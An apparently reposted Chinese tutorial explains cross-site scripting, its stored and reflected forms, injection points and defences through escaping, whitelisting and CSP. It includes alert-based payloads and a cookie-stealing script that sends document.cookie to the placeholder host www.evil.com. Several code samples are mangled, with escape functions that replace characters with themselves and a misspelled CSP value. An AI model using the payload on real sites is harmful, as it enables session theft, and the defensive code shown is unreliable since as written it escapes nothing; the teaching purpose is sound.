全称 Cross Site Scripting (避免和CSS重名,所以简称XSS)
- 跨站脚本攻击,指用户输入脚本并注入到了受害网站,如果该网站没有对用户输入进行过滤,那么这段脚本可能被之后访问该网站的用户浏览器执行。
- 例1:某个网站有评论功能且没有针对XSS 的过滤,那么小编在某文章下评论了以下内容:
<script>alert("你查看了我的文章!!快打赏!!不打赏不准走!!")</script>
那么这段字符串POST给了网站服务器,没有对脚本进行过滤或者Encode,原封不动地加入了原本的HTML页面,那么当其他用户查看该文章的时候浏览器就会自动执行HTML 文档中的这句 JS 脚本
- 例2:如果评论里面写的是:
<script>window.open(www.evil.com?content=document.cookie);</script>
当你再次访问这篇文章的时候,你在当前域下的cookie被小编的恶意网站(www.evil.com)给get到了。。这个网站的后台程序可能会拿到你的cookie(其中包含sessionId 等等),然后借此cookie登陆你的网站账户,乱发段子。当然,目前主流的网站都是禁止JS 脚本获取并且操作cookie的,并且浏览器中的安全机制使得cookie 不会被发送到跨域的其他网站中。
- 利用
script
标签- 获取页面数据偷取网站任意数据
- 获取Cookies偷取用户资料
- 劫持前端逻辑
- 发送请求欺骗用户
- 其他(取决于攻击者想要干什么)
- XSS攻击分类
- 反射型 (url参数直接注入)
- 存储型 (存储到DB后读取时注入)
- XSS攻击的注入点
123 | <img src="#{image}">//image = '1" onerror="alert(1)'<img src="1" onerror="alert(1)"> |
* js代码
123 | var data = "#{data}"//data = 'kk";alert(1);"'var data = "kk";alert(1);""; |
* 富文本 富文本的本质是一段HTML
* 浏览器一般会自带XSS攻击防御,我们可以手动关闭,但它是有限的,只能防御注入点的前两种,所以不能依赖它来防御
如何防御
HTML节点内容
1234567 | var h1 = document.getElementsByTagName('h1')[0];function (str) {str = str.replace(/</g, '<');str = str.replace(/>/g, '>');return str;}h1.innerHTML = escapeHtml('<script>alert(1);</script>'); |
HTML属性 (src)
123456789 | <img src="avatar.jpg" onload="alert(1)"> <img src='avatar.jpg' onload='alert(1)'> <img src=avatar.jpg onload=alert(1)>//对双引号和单引号转译//有时属性可以不需要单双引,通过空格来间隔也可以//所以需要转译空格 function escapeHtmlProperty(str) { ...} |
12345 | 可以将以上两个函数进行合并当多个空格时,都进行转译不好,所以我们在代码中的属性要加上引号,即不要有这样的写法<img src=avatar.jpg>要加上引号,这样就可以不用考虑空格的转译在h5之后,可以不用对&进行转译,如果有对&转译则要放在第一个,否则后面的转译中的&符号又回被再转译一遍str = str.replace(/&/g, '&'); |
* js代码
1234 | function escapeForJs = function(str) { ...}也可以使用JSON.stringify(str) |
* 富文本 富文本的本质是一段HTML
123456789 | // 富文本比较麻烦,因为不可以转译因为要保持原来的HTML// 解决方法通过过滤或者按白名单保留部分标签和属性function xssFilter(html) { .....}//白名单保留部分标签和属性function xssFilter(html) { .....} |
* CSP (Content Security Policy)内容安全策略,用于指定哪些内容可以执行
1 | set(`Content-Security-Policy: default-src 'sele'`) |
原文:大专栏 跨站脚本攻击XSS